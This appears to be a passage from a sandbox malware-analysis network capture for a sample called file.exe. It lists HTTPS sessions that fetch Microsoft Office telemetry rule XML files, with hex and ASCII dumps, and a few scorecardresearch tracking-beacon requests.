2024-10-30 14:59:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:40 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 2d08e37c-b01e-0021-309c-27cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145940Z-17c5cb586f6mkpfkkpsf1dpups00000003m0000000002dnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:40 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49793	13.107.246.45	443	5580	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:40 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:40 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a6706070-501e-005b-556d-28d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145940Z-15b8d89586f4zwgbgswvrvz4vs00000009hg00000000an6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:40 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49794	13.107.246.45	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:40 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:40 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 135a34dd-b01e-0098-371c-27cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145940Z-r197bdfb6b4zbthzeykwgnvx8s0000000120000000001eay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:40 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:41 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:41 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:41 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 4fe07ac1-301e-0099-249c-276683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145941Z-15b8d89586fpccrmgpemqdqe58000000032g0000000091cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:41 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:41 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:41 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:41 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 44b69168-a01e-0098-3739-288556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145941Z-15b8d89586f5s5nz3ffrgxn5ac00000008u000000000f99s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:41 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49800	18.244.18.38	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:41 UTC	925	OUT	GET /b?rn=1730300377539&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=07F34F268BE36FD729115A0E8A126EB4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:41 UTC	956	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 30 Oct 2024 14:59:41 GMT Location: /b2?rn=1730300377539&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=07F34F268BE36FD729115A0E8A126EB4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1BA63b92b877a81b2c970771730300381; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1BA63b92b877a81b2c970771730300381; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 888b6b44a57f755881c4b0f069225010.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 X-Amz-Cf-Id: 5C5b2USgUmz8NGNZ_GQ4_RSfHw15_rjIRY1ErcpKHSg_bngJlhVznw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49813	18.244.18.38	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:42 UTC	1012	OUT	GET /b2?rn=1730300377539&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=07F34F268BE36FD729115A0E8A126EB4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1BA63b92b877a81b2c970771730300381; XID=1BA63b92b877a81b2c970771730300381
2024-10-30 14:59:42 UTC	327	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 30 Oct 2024 14:59:42 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 6571e9f709b2287f8a30275c17d07140.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 X-Amz-Cf-Id: 0ftWgmxhAsx5qQt2HwGZG-FUw84_FXGu1boZ0T0eOs1RG9m_zXHL_w==

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	32881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:43 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:43 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:43 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: 2073a42b-101e-0065-1a58-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145943Z-16849878b78sx229w7g7at4nkg00000006gg000000003crc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:43 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49822	13.107.246.45	443	7564	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:43 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:43 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:43 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: b9c56978-501e-0064-4635-291f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145943Z-r197bdfb6b4c8q4qvwwy2byzsw00000008p00000000028s1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:43 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	39967	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:44 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:44 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:44 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: fd852c8b-201e-00aa-25b1-293928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145944Z-15b8d89586fmhkw429ba5n22m800000009tg0000000000ge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:44 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49832	13.107.246.45	443	7564	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:44 UTC	192	OUT	GET /rules/rule702900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:44 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:44 GMT Content-Type: text/xml Content-Length: 1374 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE539933F" x-ms-request-id: afca6861-901e-008f-4293-2967a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145944Z-17c5cb586f6mkpfkkpsf1dpups00000003mg000000001391 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:44 UTC	1374	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 61 6e 61 67 65 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 61 6e 61 67 65 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Manageability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenManageability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	21457	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:45 UTC	192	OUT	GET /rules/rule702901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:45 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:45 GMT Content-Type: text/xml Content-Length: 1411 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE53FACDA" x-ms-request-id: 6dd908e6-f01e-0003-6057-274453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145945Z-16849878b7898p5f6vryaqvp5800000008x000000000v17h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
